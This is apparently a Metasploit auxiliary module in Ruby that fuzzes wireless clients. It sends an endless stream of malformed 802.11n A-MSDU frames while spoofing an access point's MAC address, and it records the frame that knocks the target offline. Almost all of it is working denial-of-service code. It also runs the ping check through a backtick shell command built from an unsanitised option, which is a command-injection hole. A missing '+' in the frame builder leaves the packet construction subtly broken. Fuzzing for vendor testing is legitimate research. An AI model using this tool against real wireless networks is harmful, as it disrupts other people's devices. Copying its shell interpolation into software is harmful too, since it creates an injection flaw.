##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Auxiliary::Dos::Wireless::FuzzAMSDU < Msf::Auxiliary

	include Exploit::Lorcon


	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Wireless Aggregate MSDU Frame Fuzzer',
			'Description'    => %q{
				This module sends out malformed aggregate MSDU frames, targeting 802.11n and pre-802.11n devices.  It is intended for use in testing a client target connected to a Draft 802.11n 2.0 or 802.11n system.  Specify the victim as the ADDR_DST parameter, and the AP address as ADDR_SRC.
			},
			
			'Author'         => [ 'joswr1ght' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $'
		))
		register_options(
			[
				OptString.new('ADDR_DST', [ true,  "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
				OptString.new('PING_HOST', [ false,  "Ping the wired address of the target host"]),
				OptString.new('ADDR_SRC', [ true, "The MAC address of the impersonated system (AP)"]),
			], self.class)					
	end

	def ping_check
		1.upto(3) do |i|
			x = `ping -c 1 -n #{datastore['PING_HOST']}`
			return true if x =~ /1 received/
			if (i > 1)
				print_status("Host missed a ping response...")
			end
		end
		return false
	end
	
	def run
		
		srand(0)
		
		@@uni = 0
		
		frames = []
	
		open_wifi
		
		print_status("Sending corrupt frames...")
		
		while (true)
			frame = create_frame()
			
			if (datastore['PING_HOST'])
			
				if (frames.length >= 5)
					frames.shift
					frames.push(frame)
				else
					frames.push(frame)
				end

				1.upto(10) do 
					wifi.write(frame)
					if (not ping_check())
						frames.each do |f|
							print_status "****************************************"
							print_status f.inspect
						end
						return
					end		
				end
			else 
				wifi.write(frame)
			end
		end
	end

	def create_frame
		mtu      = 500
		ies      = rand(1024)

		src      = eton(datastore['ADDR_SRC'])
		dst	 = eton(datastore['ADDR_DST'])
		seq      = [rand(255)].pack('n')
		
		frame = 
			"\x88" +                      # type/subtype
			"\x02" +                      # flags
			"\x00\x00"                   # duration  
			dst +                         # dst
			src +                         # src
			src +                         # bssid
			seq +                         # seq  
			"\x80\x00" +                  # QoS A-MSDU bit set
			dst +                         # DA
			src +                         # SA
			"\x00\x5a" +                  # MSDU length (96 bytes)
			"\xaa\xaa\x03\x00" +
			"\x00\x00\x08\x00" +          # 802.2, embedded IP
			"\x45\x00\x00\x54\x00\x00" +
			"\x40\x00\x40\x01\xb6\xf2" +
			"\xc0\xa8\x01\x65\xff\xff" +
			"\xff\xff" +                  # IP packet, bcast dst
			"\x08\x00\xfd\x44" +
			"\x71\x72\x00\x0c" +          # ICMP ping header
			"\x52\xbe\xb0\x47\x95\x33" +
			"\x06\x00\x08\x09\x0a\x0b" +
			"\x0c\x0d\x0e\x0f\x10\x11" +
			"\x12\x13\x14\x15\x16\x17" +
			"\x18\x19\x1a\x1b\x1c\x1d" +
			"\x1e\x1f\x20\x21\x22\x23" +
			"\x24\x25\x26\x27\x28\x29" +
			"\x2a\x2b\x2c\x2d\x2e\x2f" +
			"\x30\x31\x32\x33\x34\x35" +
			"\x36\x37"                    # ICMP payload (windows xp)
		frame << 
			"\xff\xff\xff\xff\xff\xff" +  # Next DA
			Rex::Text.rand_text(6) +      # Next SA
			[rand(4096)].pack('n') +      # MSDU Len
			Rex::Text.rand_text(1500 - frame.length) # MSDU

		return frame

	end
	
end
end
